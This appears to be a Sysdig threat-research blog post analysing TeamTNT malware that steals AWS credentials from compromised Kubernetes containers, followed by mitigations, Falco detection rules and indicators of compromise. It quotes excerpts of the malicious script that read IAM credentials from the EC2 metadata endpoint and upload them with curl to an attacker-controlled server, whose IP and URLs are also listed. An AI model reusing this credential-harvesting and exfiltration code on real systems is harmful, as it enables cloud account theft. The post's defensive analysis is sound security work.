# Threat news: TeamTNT stealing credentials using EC2 Instance Metadata

**sysdig.com/blog/teamtnt-aws-credentials/**

By Alberto Pellitteri December 7, 2021

**The Sysdig Threat Research Team has detected an attack that can be attributed to the**
**TeamTNT. The initial target was a Kubernetes pod exposed outside the network. Once**
access was gained, the malware attempted to steal AWS credentials using the EC2
**instance metadata.**

**TeamTNT is a threat actor that conducts large-scale attacks against virtual and cloud**
solutions, like Kubernetes and Docker. Previous attacks displayed motives concerned with
**cryptocurrency mining and stealing credentials, but this time a new strategy that**
leverages AWS metadata was employed. Excessive permissions can be exploited in the
cloud platform and may result in lateral movement attacks.

In this short article you will learn how this attack works, the associated risks, and how to
**detect it.**

## Situation


-----

**TeamTNT exploited a** **[WordPress pod deployed on a Kubernetes cluster via its](https://wordpress.com/)**
[misconfigured dashboard, which was then brute-forced and allowed remote command](https://attack.mitre.org/techniques/T1110/)
executions. After access is gained to the vulnerable container, the malware uses the `wget`
command to download the malicious bash script `aws2.sh .`

The Sysdig Threat Research Team analyzed this script and found that it attempts to obtain
AWS credentials using four different strategies.

1. First, it checks if any AWS credentials have been exported as environment variables on

the compromised system.
2. Then, it looks for any AWS keys by inspecting docker containers currently running on

the victim.
3. If the `/.aws/credentials path exists in either the` `/root filesystem or in any`
```
   /home/ directories, they are searched for credentials.

```
4. It fetches AWS metadata from the victim machine in order to get the IAM role

credentials associated with it: `aws_access_key_id,` `aws_secret_access_key,`
```
   aws_session_token .

```
The last strategy is the most recent and interesting one that has been adopted by TeamTNT
**to steal AWS credentials.**

## Impact


-----

AWS metadata, as well as user data, is used to configure and manage any EC2 instance
that you run in AWS. It can be accessed only from your running instance via the following
URI (over IPv4): `http://169.254.169.254/latest/meta-data/ .`

Below is a sampling of the kind of data which the endpoint contains.

You can use it to retrieve information about the instance and some network settings (like the
local and public IPv4 addresses). But above all, it keeps track of the IAM role that is
assigned to an instance. The latter information can be leveraged by the attackers.

Below is taken from the malicious script and shows how the attackers access and extract
sensitive information from the metadata endpoint.


-----

```
...
function AWS_META_DATA_CREDS(){
export TNT_AWS_ACCESS_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk
http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk
http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep
'AccessKeyId' | sed 's/ "AccessKeyId" : "/aws_access_key_id = /g' | sed 's/",//g')
if [ ! -z "$TNT_AWS_ACCESS_KEY" ]; then
export TNT_AWS_SECRET_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk
http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk
http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep
'SecretAccessKey' | sed 's/ "SecretAccessKey" : "/aws_secret_access_key = /g' | sed
's/",//g')
…
fi
if [ ! -z "$TNT_AWS_SECRET_KEY" ]; then
export TNT_AWS_SESSION_TOKEN=$(curl --max-time $T1O --connect-timeout $T1O -sLk
http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk
http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'Token' |
sed 's/ "Token" : "/aws_session_token = /g' | sed 's/",//g')
Fi
...
echo $TNT_AWS_ACCESS_KEY >> $STEALER_OUT
echo $TNT_AWS_SECRET_KEY >> $STEALER_OUT
echo $TNT_AWS_SESSION_TOKEN >> $STEALER_OUT
...

```
Finally, once this information has been stored into the `STEALER_OUT file, data` [exfiltration](https://attack.mitre.org/tactics/TA0010/)
occurs with the uploading of the file to an attacker controlled server.
```
...
if [ -f $STEALER_OUT ]; then
cat $STEALER_OUT
curl -F "[email protected]$STEALER_OUT" http://84.201.153.234/wpcontent/themes/twentyseventeen/.a/upload2.php
rm -f $STEALER_OUT 2>/dev/null 1>/dev/null
fi
...

```
The impact of this new threat can thus lead to the theft of AWS credentials. Attackers will
therefore be able to exploit them in order to carry out lateral movements in the cloud!

## Mitigations

As always, ensure that your services are protected with robust multi-factor authentication
systems and up-to-date, vulnerability-free components. However, there are some specific
steps that can be taken to counter this threat.

In AWS, you cannot enable access control rules to prevent unauthorized access to the EC2
instance metadata. Instead, you can adopt some strategies that limit the risks associated
with AWS credential theft:


-----

If your instance doesn t need to have access to metadata, it should be disabled. This
minimizes the attack surface and avoids AWS credentials theft.
You can also replace the default IMDSv1 method with the newer IMDSv2 for
**accessing instance metadata. IMDSv2 uses session-oriented requests and provides**
a session token that can be used to make requests for metadata and credentials.
Only assign a role to the EC2 instance if strictly necessary.
If you have attached an IAM role to an EC2 instance, make sure you have granted it
the **[minimum privileges required to run its tasks.](https://sysdig.com/blog/ciem-security-sysdig-secure/)**

For example, according to the latter scenario, if your EC2 instance needs only read
permissions for an AWS S3 bucket, you shouldn’t provide write permissions to it as well. In
addition to restricting AWS actions, like read, list, and write to a bucket, you should also
specify which AWS resources can be accessed. This may limit unauthorized access to
sensitive data.

Below is reported an insecure policy:
```
{
 "Version": "2012-10-17",
 "Statement": [
  {
   "Effect": "Allow",
   "Action": ["s3:*"],
   "Resource": ["*"]
  }
 ]
}

```
Instead, a more secure policy would be:
```
{
 "Version": "2012-10-17",
 "Statement": [
  {
     "Principal": {
   "AWS":"arn:aws:iam::<aws-account>:role/<iam-role-for-s3-access>”
     }
   "Effect": "Allow",
   "Action": ["s3:ListBucket”,
     “s3:GetObject"],
   "Resource": ["arn:aws:s3:::<s3-bucket-name>"]
  }
 ]
}

## Detection

```

-----

Detection of the methods carried out by TeamTNT to steal credentials can be accomplished
using [Falco. Falco is a](https://falco.org/) [CNCF incubating project for runtime threat detection for containers](https://www.cncf.io/projects/)
and Kubernetes.

You can leverage Falco’s powerful and flexible rules language to detect suspicious behaviors
and generate events. Falco comes with a predefined set of rules, but you can also customize
them or create new ones that fit your needs as you want.

There are two rules in the default ruleset which will detect whenever a container
unexpectedly tries to reach the EC2 instance metadata:
```
- rule: Contact EC2 Instance Metadata Service From Container
 desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
 condition: outbound and fd.sip="169.254.169.254" and container and not
ec2_metadata_containers
 output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline
connection=%fd.name %container.info
image=%container.image.repository:%container.image.tag)
 priority: NOTICE
 tags: [network, aws, container, mitre_discovery]
- rule: Contact cloud metadata service from container
 desc: Detect attempts to contact the Cloud Instance Metadata Service from a
container
 condition: outbound and fd.sip="169.254.169.254" and container and
consider_metadata_access and not user_known_metadata_access
 output: Outbound connection to cloud instance metadata service
(command=%proc.cmdline connection=%fd.name %container.info
image=%container.image.repository:%container.image.tag)
 priority: NOTICE
 tags: [network, container, mitre_discovery]

```
If you want to know more about these rules, you can check the full rule descriptions on
GitHub.

Alternatively, the Find AWS Credentials rule can detect suspicious `grep or` `find`
commands that are attempting to discover AWS credential files. This rule is included with
[Sysdig Secure.](https://sysdig.com/products/secure/)


-----

```
 macro: private_aws_credentials
 condition: >
 (proc.args icontains "aws_access_key_id" or
 proc.args icontains "aws_secret_access_key" or
 proc.args icontains "aws_session_token" or
 proc.args icontains "accesskeyid" or
 proc.args icontains "secretaccesskey")
- rule: Find AWS Credentials
 description: Detect AWS creds
 condition: >
     spawned_process and
   ((grep_commands and private_aws_credentials) or
   (proc.name = "find" and proc.args endswith ".aws/credentials"))
 output: Grep AWS credentials activities found (user=%user.name
user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id
container_name=%container.name
image=%container.image.repository:%container.image.tag)
 priority: NOTICE
 tags: mitre_credential_access, process

### Summary of indicators of compromise (IoC) and suspicious activities

```
**IPs & URLs**

84.201.153.234
http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh
http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php

**MD5**

```
aws2.sh

```

6eb1c1b3acbb0a71013826d512b3ebb6

**Filenames**

aws2.sh
TeamTNT_AWS_STEALER_v2.txt
.tnt.aws.lock

**Suspicious activities**

There are a few suspicious activities worth mentioning in our TeamTNT malware analysis:
```
   wget is launched in runtime, not build time, to download the malicious bash script
   aws2.sh .

```
Network communication with the AWS metadata.


-----

Sysdig Secure includes several rules which use indicators of compromise to generate events
when seen. These are automatically updated as the Sysdig Threat Research Team
**discovers them in order to provide the most up to date protection.**

Sysdig Secure IoC rules:

Malicious IPs or domains detected on command line
Malicious binary detected
Malicious process detected

## Conclusion

This incident proves that threats are always evolving. TeamTNT malware has been
improved so that it is able to steal AWS credentials even if they are not directly stored inside
the victim container. This may allow the threat actor to exploit your stolen credentials in
order to perform lateral movement attacks.

If you want to adopt runtime security tools, you can choose Falco, “the open source standard
for continuous risk and threat detection across Kubernetes, containers, and cloud”.

If you would like to find out more about Falco:

Get started at [Falco.org.](http://falco.org/)
[Check out the Falco project on GitHub.](https://github.com/falcosecurity/falco)
[Get involved with the Falco community.](https://falco.org/community/)
[Meet the maintainers on the Falco Slack.](https://kubernetes.slack.com/?redir=%2Farchives%2FCMWH3EH32)
Follow [@falco_org on Twitter.](https://twitter.com/falco_org)

At [Sysdig Secure, we extend Falco with out-of-the-box rules, along with other open source](https://sysdig.com/products/secure/)
projects, making it even easier to work with and manage cloud security.

If using Sysdig Secure, the attempt to use the instance metadata endpoint would generate
an event that looks similar to the image below.


-----

[Register for our free 30-day trial and see for yourself!](https://sysdig.com/company/free-trial/)


-----